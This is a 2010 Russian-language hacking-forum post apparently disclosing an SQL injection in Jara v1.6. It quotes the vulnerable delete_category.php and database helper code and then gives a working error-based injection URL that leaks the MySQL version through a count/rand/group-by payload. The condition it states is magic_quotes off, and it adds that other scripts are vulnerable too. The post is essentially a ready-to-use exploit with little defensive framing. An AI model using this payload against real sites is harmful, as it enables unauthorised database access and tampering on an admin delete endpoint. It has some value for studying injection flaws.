07.04.2010, 02:17
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
SQL inj
Jara v1.6
/admin/delete_category.php
PHP код:
...try {
$id = $_REQUEST["id"];
if($id == 1) {
throw new JaraGeneralException("You cannot the delete the Uncategorized category.");
}
$query = "delete from jara_categories where categoryid = '$id'";
$result = jara_db_query($query);...
/include/db_fns.php
PHP код:
...function jara_db_connect() {
global $jconfig, $db_conn;
if($db_conn == null) {
@$conn = new mysqli($jconfig->mysql_host, $jconfig->mysql_username, $jconfig->mysql_password, $jconfig->mysql_db);
if(mysqli_connect_errno()) {
throw new JaraDatabaseException(1, mysqli_connect_errno(), mysqli_connect_error());
}
$db_conn = $conn;
return $conn;
}
else {
return $db_conn;
}
}
function jara_db_query($query) {
$conn = jara_db_connect();
$result = $conn->query($query);
if($conn->errno) {
throw new JaraDatabaseException(2, $conn->errno, $conn->error, $query);
}
if(substr($query, 0, 6) == "select" || substr($query, 0, 4) == "show" || substr($query, 0, 7) == "explain") {
return $result;
}
else {
return $conn->affected_rows;
}
}
Условие:
mg=off
Результат:
http://localhost/jarav/admin/delete_category.php?id=1 [sql]
http://localhost/jarav/admin/delete_category.php?id=1' or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))--+
Также уязвимы другие скрипты!
Последний раз редактировалось Strilo4ka; 07.04.2010 в 02:22..
|
|
|